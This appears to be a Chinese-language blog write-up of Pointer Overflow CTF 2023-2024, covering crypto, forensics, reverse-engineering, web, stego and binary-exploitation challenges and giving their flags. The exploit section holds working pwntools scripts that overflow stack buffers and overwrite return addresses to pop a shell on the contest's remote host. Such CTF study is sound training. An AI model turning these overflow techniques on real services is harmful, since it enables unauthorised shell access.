2023-2024 Pointer Overflow CTF WP

一个很有意思的比赛,最近闲着没事就来玩玩!只做了一部分,哎!后面有时间再做吧!

比赛时间:September 17th, 2023 to January 21st, 2024

目前排名

 

Crypto

Unquestioned and Unrestrained

题目

First crypto challenge so we have to keep it easy. Here's the flag, but it's encoded. All you have to do is figure out which method was used. Luckily, it's a common one.

cG9jdGZ7dXdzcF80MTFfeTB1Ml84NDUzXzQyM184MzEwbjlfNzBfdTV9

我的解答:

签到题,密文直接base64解码

poctf{uwsp_411_y0u2_8453_423_8310n9_70_u5}

A Pale, Violet Light

题目

e= 5039

N = 34034827

C = 933969 15848125 24252056 5387227 5511551 10881790 3267174 14500698 28242580 933969 32093017 18035208 2594090 2594090 9122397 21290815 15930721 4502231 5173234 21290815 23241728 2594090 21290815 18035208 10891227 15930721 202434 202434 21290815 5511551 202434 4502231 5173234 25243036

我的解答:

考点:c列表循环,广播攻击

先分解N得到

p=5807
q=5861

exp:

#coding:utf-8

from Crypto.Util.number import *
import gmpy2
n = 34034827
p=5807
q=5861
e = 5039
message = "933969 15848125 24252056 5387227 5511551 10881790 3267174 14500698 28242580 933969 32093017 18035208 2594090 2594090 9122397 21290815 15930721 4502231 5173234 21290815 23241728 2594090 21290815 18035208 10891227 15930721 202434 202434 21290815 5511551 202434 4502231 5173234 25243036"
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
flag = ''
for i in message.split(" "):
    m = gmpy2.powmod(int(i), d, n)
    flag += str(long_to_bytes(m))[2:3]
print(flag)
#poctf{uwsp_533k 4nd y3 5h411 f1nd}

记得结果补全:_

poctf{uwsp_533k_4nd_y3_5h411_f1nd}

Missing and Missed

题目

A little cerebral fornication to round out the crypto challenges.

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++++.-.------------.+++++++++++++++++.--------------.+++++++++++++++++++++.------.++.----.---.-----------------.<<++++++++++++++++++++.-.++++++++.>>+++++++++.<<--.>>---------.++++++++++++++++++++++++.<<-----.--.>>---------.<<+++++++++.>>---------------.<<---------.++.>>.+++++++.<<--.++.+++++++.---------.+++++++..----.>>++++++++.+++++++++++++++.

我的解答:

考点:BrainFuck

poctf{uwsp_219h7_w20n9_02_f0290773n}

MISC

Here You See A Passer By

题目

Simple task - solve the maze and find the flag. The password is poctf2023

题目给了一个加密的pdf

我的解答:

使用提示密码打开得到:

大眼一看需要走迷宫,我们根据关键字走迷宫即可,如下:

得到

poctf{uwsp_pr377y_bu7_p377y_bu7_pr377y}

Forensics

If You Don't, Remember Me

题目

Here is a PDF file that seems to have some problems. I'm not sure what it used to be, but that's not important. I know it contains the flag, but I'm sure you can find it and drag it out of the file somehow. This is a two-step flag as you will find it partially encoded.

给了一个pdf

我的解答:

010打开文件,在末尾直接看到结果

hex解码得到

poctf{uwsp_w31c0m3_70_7h3_94m3}

A Petty Wage in Regret

题目

Here is a very interesting image. The flag has been broken up into several parts and embedded within it, so it will take a variety of skills to assemble it. 

我的解答:

010打开图片,文件头发现一串16进制

解码得到flag前一段

poctf{uwsp_7h3_w0rld_h4d

试了好多隐写发现图片并没有。后来无意间把图片放大发现有锐化部分,找出来(这个17前面的下划线真的狗!一开始没找出来,太不显眼了!,后来提交不对猜测有这个下划线。。)

最终flag为:poctf{uwsp_7h3_w0rld_h4d_17_f1257}

Better to Burn in the Light

题目

This is an image of a disk that once contained several files. They were deleted prior to imaging, unfortunately. To find the flag, we're going to need to bring some of them back from the dead. The flag is actually broken up between two of them. Carve the files out of the image and restore any missing file headers to find the pieces to reassemble.

我的解答:

压缩包解压后一堆阿巴阿巴!!

这题真的很艹!搞了半天啥也没搞到,后来发现这个压缩包可以修复,而且修复出来会有多出的文件。。

找到了可疑的m.jpg,010打开发现有两个jpg文件头。。

看着第一个文件头内容很短,删掉第一部分的,然后保存得到flag第一段。

有点糊!但没关系。。

下一步找第二段,分析下其他文件吧!毕竟给的很多不可能都没有用。

经过010挨个查找发现文档d实际为一张没有文件头的jpg文件,补全即可。

最终flag为:poctf{uwsp_5h1v3r_m3_71mb3r5}

Crack

The Gentle Rocking of the Sun

题目

Here's a password protected archive. Problem is that I seem to have forgotten das Passwort. All I have is this post-it note on my monitor that says "crack2 = 4bd939ed2e01ed1e8540ed137763d73cd8590323"

我的解答:

根据题目描述4bd939ed2e01ed1e8540ed137763d73cd8590323,直接cmd5得到

zwischen

解压打开后发现文件夹套娃,每个文件夹名字对应就是flag的每个字符,找全即可

poctf{uwsp_c411f02n14_d234m1n9}

RE

Easy as it Gets

题目

It doesn't get much easier than this when it comes to reverse engineering. Here we have a "secure" PowerShell script. All you need to do is figure out the super secret passphrase to decrypt the flag. 

查看代码
 [Reflection.Assembly]::LoadWithPartialName("System.Security")  

function Encrypt-String($String, $Passphrase, $salt="SaltCrypto", $init="IV_Password", [switch]$arrayOutput)  
{  
    $r = new-Object System.Security.Cryptography.RijndaelManaged  
    $pass = [Text.Encoding]::UTF8.GetBytes($Passphrase)  
    $salt = [Text.Encoding]::UTF8.GetBytes($salt)  
    $r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32) #256/8  
    $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15]  
    $c = $r.CreateEncryptor()  
    $ms = new-Object IO.MemoryStream  
    $cs = new-Object Security.Cryptography.CryptoStream $ms,$c,"Write"  
    $sw = new-Object IO.StreamWriter $cs  
    $sw.Write($String)  
    $sw.Close()  
    $cs.Close()  
    $ms.Close()  
    $r.Clear()  
    [byte[]]$result = $ms.ToArray()  
    return [Convert]::ToBase64String($result)  
}  
  
function Decrypt-String($Encrypted, $Passphrase, $salt="SaltCrypto", $init="IV_Password")  
{  
    if($Encrypted -is [string]){  
        $Encrypted = [Convert]::FromBase64String($Encrypted)  
    }  

    $r = new-Object System.Security.Cryptography.RijndaelManaged  
    $pass = [Text.Encoding]::UTF8.GetBytes($Passphrase)  
    $salt = [Text.Encoding]::UTF8.GetBytes($salt)  
    $r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32) #256/8  
    $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15]  
    $d = $r.CreateDecryptor()  
    $ms = new-Object IO.MemoryStream @(,$Encrypted)  
    $cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read"  
    $sr = new-Object IO.StreamReader $cs  

    Write-Output $sr.ReadToEnd()  

    $sr.Close()  
    $cs.Close()  
    $ms.Close()  
    $r.Clear()  
}  

cls  

#### 
# TODO: use strong password
# Canadian_Soap_Opera
### 

$pwd = read-host "(Case Sensitive) Please Enter User Password"  

$pcrypted = "TTpgx3Ve2kkHaFNfixbAJfwLqTGQdk9dkmWJ6/t0UCBH2pGyJP/XDrXpFlejfw9d"  

write-host "Encrypted Password is: $pcrypted"  
write-host ""  
write-host "Testing Decryption of Username / Password..."  
write-host ""      

$pdecrypted = Decrypt-String $pcrypted $pwd 

write-host "Decrypted Password is: $pdecrypted"

我的解答:

我们分析powershell代码,发现只需要把pwd变量赋值为”Canadian_Soap_Opera“,然后运行powershell代码即可

function Decrypt-String($Encrypted, $Passphrase, $salt="SaltCrypto", $init="IV_Password")  
{  
    if($Encrypted -is [string]){  
        $Encrypted = [Convert]::FromBase64String($Encrypted)  
    }  

    $r = new-Object System.Security.Cryptography.RijndaelManaged  
    $pass = [Text.Encoding]::UTF8.GetBytes($Passphrase)  
    $salt = [Text.Encoding]::UTF8.GetBytes($salt)  
    $r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32) #256/8  
    $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15]  
    $d = $r.CreateDecryptor()  
    $ms = new-Object IO.MemoryStream @(,$Encrypted)  
    $cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read"  
    $sr = new-Object IO.StreamReader $cs  

    Write-Output $sr.ReadToEnd()  

    $sr.Close()  
    $cs.Close()  
    $ms.Close()  
    $r.Clear()  
}
$pwd = "Canadian_Soap_Opera"  

$pcrypted = "TTpgx3Ve2kkHaFNfixbAJfwLqTGQdk9dkmWJ6/t0UCBH2pGyJP/XDrXpFlejfw9d"  

write-host "Encrypted Password is: $pcrypted"  
write-host ""  
write-host "Testing Decryption of Username / Password..."  
write-host ""      

$pdecrypted = Decrypt-String $pcrypted $pwd 

write-host "Decrypted Password is: $pdecrypted"  

得到

poctf{uwsp_4d_v1c70r14m_w4573l4nd3r}

A Tangled Web We Weave

题目

The flag has been hidden in these assembly instructions, except I forgot how to decode it... If you figure it out you get the flag.

section .data
    encoded_message db 0x0F, 0x10, 0x1C, 0x0B, 0x19, 0x04, 0x0A, 0x08, 0x0C, 0x0F, 0x20, 0x14, 0x4E, 0x11, 0x46, 0x20, 0x14, 0x4F, 0x11, 0x46, 0x20, 0x46, 0x4F, 0x48, 0x20, 0x11, 0x4F, 0x48, 0x17, 0x4E, 0x11, 0x46, 0x20, 0x4F, 0x11, 0x20, 0x12, 0x4C, 0x02

section .text
    global _start

_start:
    mov ecx, 0
    mov edi, encoded_message
    find_length:
        cmp byte [edi], 0
        je print_message
        inc ecx
        inc edi
        jmp find_length

    print_message:
        xor esi, esi
        mov edi, encoded_message
        decode:
            xor eax, eax
            mov al, byte [edi + esi]
            xor al, ; something missing?
            mov byte [edi + esi], al
            inc esi
            cmp byte [edi + esi], 0
            jne decode

        mov edx, ecx
        mov eax, 4
        mov ebx, 1
        mov ecx, encoded_message
        int 0x80

    mov eax, 1
    xor ebx, ebx
    int 0x80

我的解答:

分析汇编代码可知解密第一步是异或4,第二步是异或一个未知的值。

我们可以根据flag的形式猜测encoded_message的第一个字符应该为p,0x0F^4^ord('p')得到123,依次检测第二个字符异或后为o,

OK!就是这样,写个脚本

a = "0x0F, 0x10, 0x1C, 0x0B, 0x19, 0x04, 0x0A, 0x08, 0x0C, 0x0F, 0x20, 0x14, 0x4E, 0x11, 0x46, 0x20, 0x14, 0x4F, 0x11, 0x46, 0x20, 0x46, 0x4F, 0x48, 0x20, 0x11, 0x4F, 0x48, 0x17, 0x4E, 0x11, 0x46, 0x20, 0x4F, 0x11, 0x20, 0x12, 0x4C, 0x02"
a = a.split(',')
for i in a:
    print(chr(int(i,16)^4^123),end="")

#poctf{uwsp_k1n9_k0n9_907_n07h1n9_0n_m3}

Sunshine on Filth is Not Polluted

题目

Log in with a valid username and PIN code, and this program will give you a shell. The username is easy to identify, but the PIN code is randomly generated!

Here's a hint, but you'll need to work for it a bit. Two hashed words: f704f57ea420275ad51bf55b7dec2c96 87cd8b8808600624d8c590cfc2e6e94b

To get the flag, you will need to exploit the binary on a live system. The binary is running on 34.123.210.162 port 20231 and the flag can be found in the /home/re3 directory when you get a shell.

我的解答:

题目提示的两个哈希没什么用,我们看到main函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  generate_code();
  configure_username();
  login();
  return 0;
}

首先执行函数generate_code()创建随机认证码:

__int64 generate_code()
{
  __int64 result; // rax
  unsigned int v1; // [rsp+0h] [rbp-10h]

  v1 = (rand() + 123) % 10000;
  result = v1;
  auth_code = v1;
  return result;
}

创建完后显示选项,与user进行交互:

__int64 configure_username()
{
  __int64 result; // rax
  char src[16]; // [rsp+0h] [rbp-10h] BYREF

  while ( 1 )
  {
    printf("Options: (1) Enter username, (2) Confirm username, (3) Done: ");
    result = get_int();
    if ( (_DWORD)result == 3 )
      break;
    if ( (int)result <= 3 )
    {
      if ( (_DWORD)result == 1 )
      {
        printf("Username: ");
        __isoc99_scanf("%15s", src);
        strncpy(auth_username, src, 0x10uLL);
      }
      else if ( (_DWORD)result == 2 )
      {
        printf("Current username is: %s\n", src);
      }
    }
  }
  return result;

我们可以看到,src和v1到rbp的距离相等,也就是说在没有输入src之前,v1的值即为认证码的值,可以通过输入2来显示此时src(也就是v1)的值,来获取认证码。

exp:

from pwn import *

local = 2
if local == 1:
    io = process('./re3.bin')
else:
    io = remote('34.123.210.162',20231)

io.recvuntil(":")
io.sendline("2")
io.recvuntil("is: ")
auth_code = u16(io.recv(2))
io.recvuntil(":")
io.sendline("1")
io.recvuntil("Username: ")
io.sendline("admin")
io.recvuntil(":")
io.sendline("3")
io.recvuntil("code: ")
io.sendline(str(auth_code))

io.interactive()

#poctf{uwsp_7h3_1355_y0u_kn0w_7h3_837732}

Exploit

My Friend, A Loathsome Worm

题目

This one should be quite straight forward. Can you trick this program into popping a shell without even bothering to overwrite the return address? Why pick the lock when you can simply remove the hinges. :)

The binary is running at 34.123.210.162 port 20232

我的解答:

main函数如下:

查看代码
 int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-34h]
  __int64 v4[3]; // [rsp+10h] [rbp-30h] BYREF
  int v5; // [rsp+28h] [rbp-18h]
  int v6; // [rsp+2Ch] [rbp-14h]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  v4[0] = '321tseuG';
  v4[1] = 0LL;
  v4[2] = 0LL;
  v5 = 0;
  v6 = 999;
  ((void (__fastcall *)(int, const char **))init)(argc, argv);
  printf("Welcome, you are logged in as '%s'\n", (const char *)v4);
  while ( 1 )
  {
    printf("\nHow can I help you, %s?\n", (const char *)v4);
    puts(" (1) Change username");
    puts(" (2) Switch to root account");
    puts(" (3) Start a debug shell");
    printf("Choice: ");
    v3 = get_int();
    switch ( v3 )
    {
      case 1:
        printf("Enter new username: ");
        __isoc99_scanf("%s", v4);
        break;
      case 2:
        puts("Sorry, root account is currently disabled");
        break;
      case 3:
        if ( v6 == 999 )
        {
          puts("Sorry, guests aren't allowed to use the debug shell");
        }
        else if ( v6 == 1337 )
        {
          puts("Starting debug shell");
          execl("/bin/bash", "/bin/bash", 0LL);
        }
        else
        {
          puts("Unrecognized user type");
        }
        break;
      default:
        puts("Unknown option");
        break;
    }
  }
}

由于v6距离rbp的距离在v4的下面,所以我们输入的v4可以直接把v6覆盖掉。

exp:

from pwn import *

local = 2
if local == 1:
    io = process('./exploit1.bin')
else:
    io = remote('34.123.210.162',20232)

payload = b'a'*(0x30-0x14)+p32(1337)
io.recvuntil("Choice: ")
io.sendline("1")
io.recvuntil("username: ")
io.sendline(payload)
io.recvuntil("Choice: ")
io.sendline("3")

io.interactive()

#poctf{uwsp_5w337_c10v32_4nd_50f7_511k}

Time is but a Window

题目

Think small, and simple. No fancy ROP chains or shellcode necessary, a single byte should be sufficient. 

Binary is running at 34.123.210.162 port 20234

我的解答:

此题开了PIE保护,地址是随机的,存在后门函数win():

int win()
{
  alarm(0);
  return execl("/bin/bash", "/bin/bash", 0LL);
}

发现函数greet()存在溢出漏洞:

int greet()
{
  char v1[16]; // [rsp+0h] [rbp-10h] BYREF

  printf("Hello! What's your name?: ");
  get_string(v1);
  return printf("Nice to meet you %s!\n", v1);
}

函数greet()的运行地址0x1364和win()的运行地址0x13cb仅后两位不同,由于相对距离不变,所以我们可以直接覆盖后两位。

exp:

from pwn import *

local = 2
if local == 1:
    io = process('./exploit3.bin')
else:
    io = remote('34.123.210.162',20234)

payload = b'a'*0x10+p64(0xdeadbeef)+p8(0xcb)
io.recvuntil("name?: ")
io.sendline(payload)

io.interactive()
#poctf{uwsp_71m3_15_4_f4c702}

WEB

Vigil of the Ceaseless Eyes

题目

Hey, contestants! Allow me to take this opportunity to debut the hottest new social media platform on the planet. I call it ManyKins! There is also ZERO chance it has ANY vulnerabilities that might allow one to find the flag (under /secret/flag.pdf)!

我的解答:

根据提示flag路径以及靶场已经给了,/ManyKin/secret/flag.pdf,直接用IDM下载该文件就可以。

IDM下载链接:https://blog.csdn.net/qq_63303818/article/details/132366618

记得在火狐添加对应插件,当然下载pdf的时候会自动提示让你添加插件的,不用担心!

poctf{uwsp_71m3_15_4n_1llu510n}

We Rest Upon a Single Hope

题目

I am Vinz, Vinz Clortho, Keymaster of Gozer. Volguus Zildrohar, Lord of the Sebouillia. Are you the Gatekeeper?

Are you the Keymaster?

我的解答:

点击靶场如下:

F12打开控制台,随便输入内容提交后发现提示:

Gozer the Traveler. He will come in one of the pre-chosen forms. During the rectification of the Vuldrini, the traveler came as a large and moving Torg! Then, during the third reconciliation of the last of the McKetrick supplicants, they chose a new form for him: that of a giant Slor! Many Shuvs and Zuuls knew what it was to be roasted in the depths of the Slor that day, I can tell you!

分析源代码,发现提交的参数名是key,当key==v时,会出现flag。

v的值直接使用console.log进行输出:

提交此值,并且在控制台打印出来即可。

?key=v

 

然后把这串数字再次提交即可在控制台看到flag

poctf{uwsp_1_4m_4ll_7h47_7h3r3_15_0f_7h3_m057_r34l}

 Stego

Absence Makes Hearts Go Yonder

题目

Sometimes the oldest and simplest tricks can be the most fun. Here's an old stego tactic that requires no special software - just a little knowledge and maybe a keen eye.

我的解答:

010打开文件尾部直接发现flag

poctf{uwsp_h342d_y0u_7h3_f1257_71m3}

An Invincible Summer(未出!)

题目

I seem to have misplaced the flag for this challenge. I know that it's in one of these files. I just can't remember which one... And why would I have two copies of each image in different formats... I swear, I'd forget my head if I didn't have SQL constantly orbiting it. 

Archive password: poctf2023

HINT: This challenge is giving a lot of people trouble. I've double checked everything, and I can unequivocally say it's all picsel perfect. 

我的解答:

密码题目已给 poctf2023

解压得到

发现都是.png .bmp两两一组

。。。没思路了。。。都试了盲水印也没找到什么。。

Between Secrets and Lies(未出!)

题目

Picture stego sure is a lot of fun. It's not exactly a party conversation starter, but once someone mentions hiding data I can't help but open that big can of beans. Here - you try!

我的解答:

发现图片右下角有可疑之处。

。。

 

热门相关:山神   凤逆天下:战神杀手妃   美食供应商   凤逆天下:腹黑魔君妖娆后   苏医生,你笑起来很好看